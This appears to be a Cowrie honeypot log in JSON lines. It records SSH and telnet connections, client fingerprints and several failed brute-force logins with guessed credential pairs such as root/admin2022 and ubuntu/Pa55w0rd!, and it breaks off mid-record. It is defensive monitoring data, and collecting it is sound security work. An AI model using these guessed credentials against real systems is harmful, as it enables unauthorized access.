{"eventid":"cowrie.login.failed","username":"root","password":"admin2022","message":"login attempt [root/admin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:08.885262Z","src_ip":"152.32.130.174","session":"b6e96fa610eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.739118337631226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:09.073440Z","src_ip":"161.97.105.174","session":"df3080800e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02987623214722,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:09.141917Z","src_ip":"161.97.105.174","session":"9200dd65c1ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:10.101919Z","src_ip":"152.32.130.174","session":"b6e96fa610eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35465145111084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:10.973471Z","src_ip":"161.97.105.174","session":"f7f2d7d08cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55314,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc17fbaa8565","protocol":"telnet","message":"New connection: 161.97.105.174:55314 (159.203.135.109:23) [session: bc17fbaa8565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:11.216763Z"}
{"eventid":"cowrie.session.closed","duration":32.5398473739624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:11.935136Z","src_ip":"161.97.105.174","session":"27ac1faf37c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2672278881073,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:12.322884Z","src_ip":"161.97.105.174","session":"0a19000110de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55330,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7a42da687f","protocol":"telnet","message":"New connection: 161.97.105.174:55330 (159.203.135.109:23) [session: 9c7a42da687f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:13.487109Z"}
{"eventid":"cowrie.session.closed","duration":35.487905979156494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:13.752308Z","src_ip":"161.97.105.174","session":"b8bc927a6880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55336,"dst_ip":"159.203.135.109","dst_port":23,"session":"516075198206","protocol":"telnet","message":"New connection: 161.97.105.174:55336 (159.203.135.109:23) [session: 516075198206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:14.738132Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d49250c7652","protocol":"telnet","message":"New connection: 161.97.105.174:55346 (159.203.135.109:23) [session: 8d49250c7652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:14.948277Z"}
{"eventid":"cowrie.session.closed","duration":36.38711142539978,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:18.248704Z","src_ip":"161.97.105.174","session":"9bb7238f291f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8595929145813,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:19.210086Z","src_ip":"161.97.105.174","session":"891b6091a2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbf3d18f4f4","protocol":"telnet","message":"New connection: 161.97.105.174:50234 (159.203.135.109:23) [session: 8fbf3d18f4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:21.384549Z"}
{"eventid":"cowrie.session.closed","duration":39.75189709663391,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:22.626566Z","src_ip":"161.97.105.174","session":"7b2b08798255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50240,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf545ea65b0","protocol":"telnet","message":"New connection: 161.97.105.174:50240 (159.203.135.109:23) [session: cdf545ea65b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:22.856361Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7174d500c68b","protocol":"telnet","message":"New connection: 161.97.105.174:50244 (159.203.135.109:23) [session: 7174d500c68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:24.018551Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0cc7f94ca1","protocol":"telnet","message":"New connection: 161.97.105.174:50250 (159.203.135.109:23) [session: fd0cc7f94ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:24.808384Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50258,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f0c6401f1f2","protocol":"telnet","message":"New connection: 161.97.105.174:50258 (159.203.135.109:23) [session: 3f0c6401f1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:25.930321Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50262,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0af1df056c","protocol":"telnet","message":"New connection: 161.97.105.174:50262 (159.203.135.109:23) [session: ff0af1df056c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:28.243103Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50264,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ae3c4eea75","protocol":"telnet","message":"New connection: 161.97.105.174:50264 (159.203.135.109:23) [session: 18ae3c4eea75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:28.304102Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":34178,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51eba35cd76","protocol":"ssh","message":"New connection: 202.125.94.71:34178 (10.17.0.5:22) [session: a51eba35cd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:30.392951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:30.398513Z","src_ip":"202.125.94.71","session":"a51eba35cd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46490,"dst_ip":"159.203.135.109","dst_port":23,"session":"9169a5cd543d","protocol":"telnet","message":"New connection: 161.97.105.174:46490 (159.203.135.109:23) [session: 9169a5cd543d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:30.487476Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:30.663505Z","src_ip":"202.125.94.71","session":"a51eba35cd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa55w0rd!","message":"login attempt [ubuntu/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:31.752974Z","src_ip":"202.125.94.71","session":"a51eba35cd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46498,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7df78af39cc","protocol":"telnet","message":"New connection: 161.97.105.174:46498 (159.203.135.109:23) [session: a7df78af39cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:32.747584Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:33.020957Z","src_ip":"202.125.94.71","session":"a51eba35cd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.156.239.60","src_port":34306,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b0d4aed6cc","protocol":"telnet","message":"New connection: 183.156.239.60:34306 (159.203.135.109:23) [session: 46b0d4aed6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:33.632735Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2136e60bcf0","protocol":"telnet","message":"New connection: 161.97.105.174:46502 (159.203.135.109:23) [session: a2136e60bcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:34.850413Z"}
{"eventid":"cowrie.session.closed","duration":36.75099301338196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:36.663348Z","src_ip":"161.97.105.174","session":"9b2c3aac0458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46508,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2d97d22b12","protocol":"telnet","message":"New connection: 161.97.105.174:46508 (159.203.135.109:23) [session: dd2d97d22b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:37.595246Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52008,"dst_ip":"159.203.135.109","dst_port":23,"session":"a734bc270c6c","protocol":"telnet","message":"New connection: 161.97.105.174:52008 (159.203.135.109:23) [session: a734bc270c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:38.589968Z"}
{"eventid":"cowrie.session.closed","duration":33.807265758514404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:39.888620Z","src_ip":"161.97.105.174","session":"e4806b08d4e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.920013189315796,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:40.677997Z","src_ip":"161.97.105.174","session":"2f61ead9d679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98868203163147,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:40.758540Z","src_ip":"161.97.105.174","session":"93c2758a2ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11967349052429,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:41.830579Z","src_ip":"161.97.105.174","session":"00cbd432fdd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.801910400390625,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:42.553594Z","src_ip":"161.97.105.174","session":"26dd7a13793b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52010,"dst_ip":"159.203.135.109","dst_port":23,"session":"6725abe5ace2","protocol":"telnet","message":"New connection: 161.97.105.174:52010 (159.203.135.109:23) [session: 6725abe5ace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:44.354067Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52022,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf900cd3179","protocol":"telnet","message":"New connection: 161.97.105.174:52022 (159.203.135.109:23) [session: baf900cd3179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:44.848901Z"}
{"eventid":"cowrie.session.closed","duration":12.550363779067993,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:46.182992Z","src_ip":"183.156.239.60","session":"46b0d4aed6cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.487931966781616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:46.436068Z","src_ip":"161.97.105.174","session":"8d49250c7652","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52038,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ae1a2352c5","protocol":"telnet","message":"New connection: 161.97.105.174:52038 (159.203.135.109:23) [session: 50ae1a2352c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:47.885707Z"}
{"eventid":"cowrie.session.closed","duration":33.60057282447815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:48.338565Z","src_ip":"161.97.105.174","session":"516075198206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14200496673584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:48.358633Z","src_ip":"161.97.105.174","session":"bc17fbaa8565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34617209434509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:48.833173Z","src_ip":"161.97.105.174","session":"9c7a42da687f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ba64098183","protocol":"telnet","message":"New connection: 161.97.105.174:36246 (159.203.135.109:23) [session: 15ba64098183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:50.239464Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31f52d47b9b","protocol":"telnet","message":"New connection: 161.97.105.174:36258 (159.203.135.109:23) [session: c31f52d47b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:50.296809Z"}
{"eventid":"cowrie.session.closed","duration":32.275152921676636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:53.659501Z","src_ip":"161.97.105.174","session":"8fbf3d18f4f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c6e23c9297","protocol":"telnet","message":"New connection: 161.97.105.174:36266 (159.203.135.109:23) [session: 34c6e23c9297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:55.917974Z"}
{"eventid":"cowrie.session.closed","duration":32.9179904460907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:57.726256Z","src_ip":"161.97.105.174","session":"fd0cc7f94ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":44148,"dst_ip":"10.17.0.5","dst_port":22,"session":"6acc8326220d","protocol":"ssh","message":"New connection: 154.219.100.220:44148 (10.17.0.5:22) [session: 6acc8326220d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:57.899203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:57.904253Z","src_ip":"154.219.100.220","session":"6acc8326220d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:58.109930Z","src_ip":"154.219.100.220","session":"6acc8326220d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.959824085235596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:58.816085Z","src_ip":"161.97.105.174","session":"cdf545ea65b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"Admin@123","message":"login attempt [es/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:58.964829Z","src_ip":"154.219.100.220","session":"6acc8326220d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51464,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a319c89e400","protocol":"telnet","message":"New connection: 161.97.105.174:51464 (159.203.135.109:23) [session: 5a319c89e400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:59.532772Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:00.180710Z","src_ip":"154.219.100.220","session":"6acc8326220d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99511241912842,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:01.925315Z","src_ip":"161.97.105.174","session":"3f0c6401f1f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.194681882858276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:02.498668Z","src_ip":"161.97.105.174","session":"18ae3c4eea75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51476,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b832d727667","protocol":"telnet","message":"New connection: 161.97.105.174:51476 (159.203.135.109:23) [session: 9b832d727667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:02.959487Z"}
{"eventid":"cowrie.session.closed","duration":30.707720518112183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:03.455199Z","src_ip":"161.97.105.174","session":"a7df78af39cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.229769706726074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:03.472764Z","src_ip":"161.97.105.174","session":"ff0af1df056c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.31016993522644,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:04.328593Z","src_ip":"161.97.105.174","session":"7174d500c68b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.43826198577881,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:04.925643Z","src_ip":"161.97.105.174","session":"9169a5cd543d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51490,"dst_ip":"159.203.135.109","dst_port":23,"session":"7912ae3020d7","protocol":"telnet","message":"New connection: 161.97.105.174:51490 (159.203.135.109:23) [session: 7912ae3020d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:04.967741Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":48010,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a27468ace6","protocol":"ssh","message":"New connection: 152.32.130.174:48010 (10.17.0.5:22) [session: c7a27468ace6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:04.989069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:04.994126Z","src_ip":"152.32.130.174","session":"c7a27468ace6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa